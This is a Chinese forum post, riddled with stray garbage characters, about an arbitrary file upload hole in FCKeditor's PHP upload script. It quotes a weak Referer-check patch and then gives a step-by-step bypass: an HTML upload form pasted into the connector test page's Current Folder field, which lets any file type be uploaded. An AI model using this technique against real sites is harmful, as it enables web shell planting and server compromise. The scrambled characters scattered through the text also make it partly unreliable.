漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
: s& e6 I4 X0 ]: L3 {( P% M网上给出的修复方案是% W q$ i N; F/ O5 T& H; P
修复方法,删除FCK编辑器用其他的编辑器9 P! c. k7 n% d, {8 c1 O' \
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
- N3 a8 C3 A) v; m/ L/ G在
0 M: H" R" O% u2 r z: K Urequire(‘config.php’);
6 R, G$ }4 _) D" _require(‘util.php’);3 W6 z* l: _& B" v/ Q
的下面添加以下代码—————————–) b7 V0 h/ P1 o9 R
//防止外部提交# S' \& s6 i+ A# H; A N" R
function outsidepost()
4 w. R! C$ j. E% O{
) ?2 L2 M8 {$ H$servername=$_SERVER['SERVER_NAME'];0 i3 i( U! Q' c) q; e
$sub_from=@$_SERVER['HTTP_REFERER'];
- H. E7 J0 e( V; d c( Q$sub_len=strlen($servername);; \, ~8 t# K, @6 c3 }
$checkfrom=substr($sub_from,7,$sub_len);
1 f% S; f3 X8 Jif($checkfrom!=$servername){
- L: U( E* I9 v; |echo(“you don’t outsidepost!”);
% J( D' ]) D2 b W; G# Zexit;
3 y8 e8 N% A7 {% w) W% e4 Z$ t}
4 ]; N$ n- F7 `* O}7 G" W- b% K4 m
outsidepost();+ u8 u: Q" a" g4 G n9 M
防止外部提交,但是没有防止内部提交,
" } ]7 k8 r+ s* g8 T4 W7 U3 Z利用方法:
1 ]2 g3 C% t0 N+ P, g1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
. K$ b, h" Y6 U2,在Current Folder 框输入5 L! J- t z/ x4 h: a, [4 S* Q3 h! t
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
- O% `' a* i/ t9 o/ j) |$ Z" M然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。; Y5 f9 p5 \) o$ \2 e) n
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |